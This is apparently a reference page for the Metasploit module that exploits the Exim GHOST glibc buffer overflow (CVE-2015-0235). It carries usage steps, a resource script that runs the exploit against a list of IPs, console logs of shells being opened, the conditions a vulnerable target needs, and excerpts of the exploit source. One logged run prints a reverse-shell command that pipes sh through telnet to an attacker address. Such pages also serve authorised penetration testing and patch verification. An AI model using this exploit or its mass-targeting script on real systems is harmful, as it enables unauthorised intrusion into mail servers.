Exim GHOST (glibc gethostbyname) Buffer Overflow - Metasploit
This page contains detailed information about how to use the exploit/linux/smtp/exim_gethostbyname_bof metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Exim GHOST (glibc gethostbyname) Buffer Overflow
Module: exploit/linux/smtp/exim_gethostbyname_bof
Source code: modules/exploits/linux/smtp/exim_gethostbyname_bof.rb
Disclosure date: 2015-01-27
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 25
List of CVEs: CVE-2015-0235
This module is also known as ghost.
This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based buffer overflow in the GNU C Library's gethostbyname functions on x86 and x86_64 GNU/Linux systems that run the Exim mail server.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
Using exim_gethostbyname_bof against a single host
Normally, you can use exploit/linux/smtp/exim_gethostbyname_bof this way:
msf > use exploit/linux/smtp/exim_gethostbyname_bof
msf exploit(exim_gethostbyname_bof) > show targets
... a list of targets ...
msf exploit(exim_gethostbyname_bof) > set TARGET target-id
msf exploit(exim_gethostbyname_bof) > show options
... show and set options ...
msf exploit(exim_gethostbyname_bof) > exploit
Using exim_gethostbyname_bof against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your exim_gethostbyname_bof will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/smtp/exim_gethostbyname_bof")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SENDER_HOST_ADDRESS: The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)
Knowledge Base
Vulnerable Application
The Exim GHOST buffer overflow is a vulnerability found by researchers from Qualys.
On March 17th 2015, Qualys released an exploit module demonstrating the exploitability
of this flaw, which is now exim_gethostbyname_bof
in Metasploit Framework.
When Qualys released the exploit, it included a lot of technical details for debugging and usage purposes. We decided to put all that here in a more readable format.
What is "GHOST"
This is a heap based buffer overflow found in GNU C Library's get*host*byname functions since glibc-2.2 (November 10, 2000), which is part of the Linux operating system, such as: Debian, Red Hat, CentOS, and Ubuntu.
Exploitable Requirements
On the server-side (victim):
- glibc-2.6 - glibc-2.17: The exploit depends on the newer versions'
fd_nextsize
(a member of the malloc_chunk structure) to remotely obtain the address of Exim'ssmtp_cmd_buffer
in the heap. - Exim server. The first exploitable version is Exim-4.77, maybe older. The exploit
depends on the newer versions' 16-KB
smtp_cmd_buffer
to reliably set up the heap as described in the advisory. - The Exim server also must enable
helo_try_verify_hosts
orhelo_verify_hosts
in the/etc/exim4/exim4.conf.template
file. Theverify = helo
ACL might be exploitable too, but the attack vector isn't as reliable, therefore not supported by the module.
For testing purposes, if you need to find a vulnerable system, you can try Debian 7 (it should come with an exploitable Exim server): debian-7.7.0-i386-DVD-1.iso
On the attacker's side:
- The attacker's IPv4 address must have both forward and reverse DNS entries that match each other (Forward-Confirmed reverse DNS).
Troubleshooting
If the exim_gethostbyname_bof.rb
module has failed on you:
Failure | Explanation |
---|---|
bad SENDER_HOST_ADDRESS (nil) |
The SENDER_HOST_ADDRESS datastore option was not specified |
bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation) |
The SENDER_HOST_ADDRESS datastore option was specified, but not in IPv4 dotted-decimal notation |
bad SENDER_HOST_ADDRESS (helo_verify_hosts) |
The SENDER_HOST_ADDRESS datastore option does not match the IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim). |
bad SENDER_HOST_ADDRESS (no FCrDNS) |
the IPv4 address of the SMTP client (Metasploit) has no Forward-Confirmed reverse DNS. |
not vuln? old glibc? (no leaked_arch) | the remote Exim server is either not vulnerable, or not exploitable (glibc versions older than glibc-2.6 have no fd_nextsize member in their malloc_chunk structure). |
NUL, CR, LF in addr? (no leaked_addr) | Exim's heap address contains bad characters (NUL, CR, LF) and was therefore mangled during the information leak; this exploit is able to reconstruct most of these addresses, but not all (worst-case probability is ~1/85, but could be further improved). |
Brute-force SUCCESS followed by a nil reply, but no shell | the remote Unix command was executed, but spawned a bind-shell or a reverse-shell that failed to connect (maybe because of a firewall, or a NAT, etc). |
Brute-force SUCCESS followed by a non-nil reply, and no shell | The remote Unix command was executed, but failed to spawn the shell (maybe because the setsid command doesn't exist, or awk isn't gawk, or netcat doesn't support the -6 or -e option, or telnet doesn't support the -z option, etc). |
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/linux/smtp/exim_gethostbyname_bof
- Do:
set rhosts [ip]
- Do:
set SENDER_HOST_ADDRESS [ip]
- Do:
run
- You should get a shell.
Options
SENDER_HOST_ADDRESS
The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)
Scenarios
Debian 7.7
When everything is dialed in correctly, a successful attack should look like the following:
msf exploit(exim_gethostbyname_bof) > run
[*] Started reverse double handler
[*] Trying information leak...
[!] {:heap_shift=>736}
[!] {:write_offset=>128, :error=>"503 sender not yet given"}
[!] {:write_offset=>136, :error=>"\xE0.\xFF\xB7\xE0.\xFF\xB7er not yet given"}
[!] {:error=>["\xE0.\xFF\xB7\xE0.\xFF\xB7er not yet given", "", "503 \x89\x10", "177", "177\\177\\177", "vJN\\177\\177\\177\\177"]}
[!] {:leaked_arch=>"x86"}
[!] {:count=>{"\xE0.\xFF\xB7\xE0.\xFF\xB7er not yet given"=>8, "hF\xFE\xB7hF\xFE\xB7er not yet given"=>2}}
[+] Successfully leaked_arch: x86
[+] Successfully leaked_addr: b7fda760
[*] Trying code execution...
[!] ${run{/usr/bin/env setsid /bin/sh -c "sh -c '(sleep 4011|telnet 192.168.1.64 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.64 4444 >/dev/null 2>&1 &)'"}}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fda760", :offset=>21}
[!] {:reply=>{:code=>"250", :lines=>["250 Accepted\r\n"]}}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fda760", :offset=>25}
[!] {:reply=>{:code=>"250", :lines=>["250 Accepted\r\n"]}}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd8fd7", :offset=>20}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd8fd7", :offset=>8}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd784e", :offset=>6}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd784e", :offset=>12}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd60c5", :offset=>19}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd60c5", :offset=>29}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd493c", :offset=>23}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd493c", :offset=>18}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd31b3", :offset=>14}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd31b3", :offset=>3}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd1a2a", :offset=>29}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd1a2a", :offset=>28}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd02a1", :offset=>26}
[!] {:reply=>{:code=>"550", :lines=>["550 sikVtqGxFOjCBOWTbDupmIuJRmLmShFNqqUYRRPUolyxPmmgLCenEzConuVGWafjgycyRfXulGNwmAOvkqZkGobMyUIMPojZsaziCjVVyvabOrcieEWrLZSgnCCXHeXjIzGGfUALAIubgBEmsKsSWSGa\r\n"]}}
[+] Brute-force SUCCESS
[+] Please wait for reply...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo qaNpBmRBEus9XoVZ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "qaNpBmRBEus9XoVZ\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.1.64:4444 -> 192.168.1.166:58859) at 2015-03-19 03:36:52 -0500
[!] {:reply=>nil}
id
uid=104(Debian-exim) gid=112(Debian-exim) groups=112(Debian-exim)
Go back to menu.
Msfconsole Usage
Here is how the linux/smtp/exim_gethostbyname_bof exploit module looks in the msfconsole:
msf6 > use exploit/linux/smtp/exim_gethostbyname_bof
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/smtp/exim_gethostbyname_bof) > show info
Name: Exim GHOST (glibc gethostbyname) Buffer Overflow
Module: exploit/linux/smtp/exim_gethostbyname_bof
Platform: Unix
Arch: cmd
Privileged: No
License: BSD License
Rank: Great
Disclosed: 2015-01-27
Provided by:
Unknown
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 25 yes The target port (TCP)
SENDER_HOST_ADDRESS yes The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)
Payload information:
Space: 255
Avoid: 0 characters
Description:
This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based
buffer overflow in the GNU C Library's gethostbyname functions on
x86 and x86_64 GNU/Linux systems that run the Exim mail server.
References:
https://nvd.nist.gov/vuln/detail/CVE-2015-0235
https://www.kb.cert.org/vuls/id/967332
OSVDB (117579)
http://www.securityfocus.com/bid/72325
https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt
https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability
http://r-7.co/1CAnMc0
Also known as:
ghost
Module Options
This is a complete list of options available in the linux/smtp/exim_gethostbyname_bof exploit:
msf6 exploit(linux/smtp/exim_gethostbyname_bof) > show options
Module options (exploit/linux/smtp/exim_gethostbyname_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 25 yes The target port (TCP)
SENDER_HOST_ADDRESS yes The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/smtp/exim_gethostbyname_bof exploit:
msf6 exploit(linux/smtp/exim_gethostbyname_bof) > show advanced
Module advanced options (exploit/linux/smtp/exim_gethostbyname_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FORCE_EXPLOIT false no Let the exploit run anyway without the check first
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/smtp/exim_gethostbyname_bof module can exploit:
msf6 exploit(linux/smtp/exim_gethostbyname_bof) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/smtp/exim_gethostbyname_bof exploit:
msf6 exploit(linux/smtp/exim_gethostbyname_bof) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
3 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
4 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
5 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
6 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
7 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
8 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
9 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
10 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
11 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
12 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
13 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
14 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
15 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
16 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
17 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
18 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
19 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
20 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
21 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
22 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
23 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
24 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
25 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
26 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
27 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
28 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
29 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
30 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
31 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
32 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
33 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
34 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
35 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
36 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
37 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
38 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
39 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
40 payload/generic/custom normal No Custom Payload
41 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
42 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/smtp/exim_gethostbyname_bof exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/smtp/exim_gethostbyname_bof) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Vulnerability check failed
- 503 sender not yet given
- arch changed
- er not yet given
- x7E-x7F
- not vuln? old glibc? (no leaked_arch)
- NUL, CR, LF in addr? (no leaked_addr)
- NUL, CR, LF in addr? (no leaked_addr)
- heap_shift
- heap_shift
- write_offset
- 503-All RCPT commands were rejected with this error:rn
- 503 Too many syntax or protocol errorsrn
- encoded payload
- invalid payload
- no min_heap_addr
- never survived
- Brute-force FAILURE
- <WHAT.LENGTH> >= <LEN>
- <WHERE> < 0
- sock isn't nil
- sock is nil
- bad SENDER_HOST_ADDRESS (nil)
- bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)
- not Exim?
- bad SENDER_HOST_ADDRESS (helo_verify_hosts)
- bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)
- bad SENDER_HOST_ADDRESS (no FCrDNS)
- user-supplied EHLO greeting
- sender changed
- state is <SMTP_STATE>
- prefix is nil
- param isn't nil
- param is nil
- len is <LENGTH>
- arglen is <ARGUMENT.LENGTH>, not <ARG_LENGTH>
- invalid char in cmd
- cmdlen is <COMMAND.LENGTH>
- sent is <NUM_SENT>
- sent is <NUM_SENT>, greater than <COMMAND.LENGTH>
- state is <SMTP_STATE>
- sock isn't nil
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Vulnerability check failed
Here is a relevant code snippet related to the "Vulnerability check failed" error message:
106: end
107:
108: def exploit
109: unless datastore['FORCE_EXPLOIT']
110: print_status("Checking if target is vulnerable...")
111: fail_with(Failure::NotVulnerable, "Vulnerability check failed") if check != Exploit::CheckCode::Vulnerable
112: print_good("Target is vulnerable.")
113: end
114: information_leak
115: code_execution
116: end
503 sender not yet given
Here is a relevant code snippet related to the "503 sender not yet given" error message:
166:
167: 128.step(256, 8) do |write_offset|
168: error = try_information_leak(heap_shift, write_offset)
169: vprint_status("#{{ write_offset: write_offset, error: error }}")
170: throw(:another_heap_shift) if not error
171: next if error == "503 sender not yet given"
172:
173: # try a few more offsets (allows us to double-check things,
174: # and distinguish between 32-bit and 64-bit machines)
175:
176: error = [error]
arch changed
Here is a relevant code snippet related to the "arch changed" error message:
195:
196: else
197: throw(:another_heap_shift)
198: end
199: vprint_status("#{{ leaked_arch: leaked_arch }}")
200: fail_with(Failure::BadConfig, "arch changed") if _leaked_arch and _leaked_arch != leaked_arch
201:
202: # try different large-bins: most of them should be empty,
203: # so keep the most frequent fd_nextsize address
204: # (a pointer to the malloc_chunk itself)
205:
er not yet given
Here is a relevant code snippet related to the "er not yet given" error message:
220: count = error_count[1]
221: throw(:another_heap_shift) unless count >= 6 # majority
222: leaked_addr.push({ error: error, shift: heap_shift })
223:
224: # common-case shortcut
225: if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
226: (leaked_arch == ARCH_X64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
227: leaked_addr = [leaked_addr.last] # use this one, and not another
228: throw(:another_heap_shift, true) # done
229: end
230: throw(:another_heap_shift)
x7E-x7F
Here is a relevant code snippet related to the "x7E-x7F" error message:
221: throw(:another_heap_shift) unless count >= 6 # majority
222: leaked_addr.push({ error: error, shift: heap_shift })
223:
224: # common-case shortcut
225: if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
226: (leaked_arch == ARCH_X64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
227: leaked_addr = [leaked_addr.last] # use this one, and not another
228: throw(:another_heap_shift, true) # done
229: end
230: throw(:another_heap_shift)
231: end
not vuln? old glibc? (no leaked_arch)
Here is a relevant code snippet related to the "not vuln? old glibc? (no leaked_arch)" error message:
232: throw(:another_heap_shift)
233: end
234: break if done
235: end
236:
237: fail_with(Failure::NotVulnerable, "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
238: fail_with(Failure::NotVulnerable, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?
239:
240: leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
241: leaked_addr = leaked_addr.first # longest
242: error = leaked_addr[:error]
NUL, CR, LF in addr? (no leaked_addr)
Here is a relevant code snippet related to the "NUL, CR, LF in addr? (no leaked_addr)" error message:
233: end
234: break if done
235: end
236:
237: fail_with(Failure::NotVulnerable, "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
238: fail_with(Failure::NotVulnerable, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?
239:
240: leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
241: leaked_addr = leaked_addr.first # longest
242: error = leaked_addr[:error]
243: shift = leaked_addr[:shift]
NUL, CR, LF in addr? (no leaked_addr)
Here is a relevant code snippet related to the "NUL, CR, LF in addr? (no leaked_addr)" error message:
247: break if i >= error.length
248: leaked_addr += error.unpack('C*')[i] * (2**(i*8))
249: end
250: # leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
251: leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE
252: fail_with(Failure::NoTarget, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR
253:
254: print_good("Successfully leaked_arch: #{leaked_arch}")
255: print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
256: @leaked = { arch: leaked_arch, addr: leaked_addr }
257: end
heap_shift
Here is a relevant code snippet related to the "heap_shift" error message:
255: print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
256: @leaked = { arch: leaked_arch, addr: leaked_addr }
257: end
258:
259: def try_information_leak(heap_shift, write_offset, last_digit = 9)
260: fail_with(Failure::BadConfig, "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
261: fail_with(Failure::BadConfig, "heap_shift") if (heap_shift & 15) != 0
262: fail_with(Failure::BadConfig, "write_offset") if (write_offset & 7) != 0
263: fail_with(Failure::BadConfig, "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/
264:
265: smtp_connect
heap_shift
Here is a relevant code snippet related to the "heap_shift" error message:
256: @leaked = { arch: leaked_arch, addr: leaked_addr }
257: end
258:
259: def try_information_leak(heap_shift, write_offset, last_digit = 9)
260: fail_with(Failure::BadConfig, "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
261: fail_with(Failure::BadConfig, "heap_shift") if (heap_shift & 15) != 0
262: fail_with(Failure::BadConfig, "write_offset") if (write_offset & 7) != 0
263: fail_with(Failure::BadConfig, "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/
264:
265: smtp_connect
266:
write_offset
Here is a relevant code snippet related to the "write_offset" error message:
257: end
258:
259: def try_information_leak(heap_shift, write_offset, last_digit = 9)
260: fail_with(Failure::BadConfig, "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
261: fail_with(Failure::BadConfig, "heap_shift") if (heap_shift & 15) != 0
262: fail_with(Failure::BadConfig, "write_offset") if (write_offset & 7) != 0
263: fail_with(Failure::BadConfig, "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/
264:
265: smtp_connect
266:
267: # bulletproof Heap Feng Shui; the hard part is avoiding:
503-All RCPT commands were rejected with this error:rn
Here is a relevant code snippet related to the "503-All RCPT commands were rejected with this error:rn" error message:
306: smtp_send("DATA")
307: reply = smtp_recv(503)
308:
309: lines = reply[:lines]
310: fail if lines.size <= 3
311: fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
312: fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
313: fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"
314:
315: # if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
316: # (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
503 Too many syntax or protocol errorsrn
Here is a relevant code snippet related to the "503 Too many syntax or protocol errorsrn" error message:
308:
309: lines = reply[:lines]
310: fail if lines.size <= 3
311: fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
312: fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
313: fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"
314:
315: # if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
316: # (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
317: # but happens with lower probability)
318:
encoded payload
Here is a relevant code snippet related to the "encoded payload" error message:
335:
336: # can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
337: # DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
338: # that rogue child processes cannot use them.
339:
340: fail_with(Failure::BadConfig, "encoded payload") if payload.raw != payload.encoded
341: fail_with(Failure::BadConfig, "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
342: # Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
343: # and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
344: encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
345: # setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
invalid payload
Here is a relevant code snippet related to the "invalid payload" error message:
336: # can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
337: # DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
338: # that rogue child processes cannot use them.
339:
340: fail_with(Failure::BadConfig, "encoded payload") if payload.raw != payload.encoded
341: fail_with(Failure::BadConfig, "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
342: # Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
343: # and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
344: encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
345: # setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
346: command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
no min_heap_addr
Here is a relevant code snippet related to the "no min_heap_addr" error message:
422: return handler
423: end
424:
425: if not min_heap_addr
426: if reply
427: fail_with(Failure::BadConfig, "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
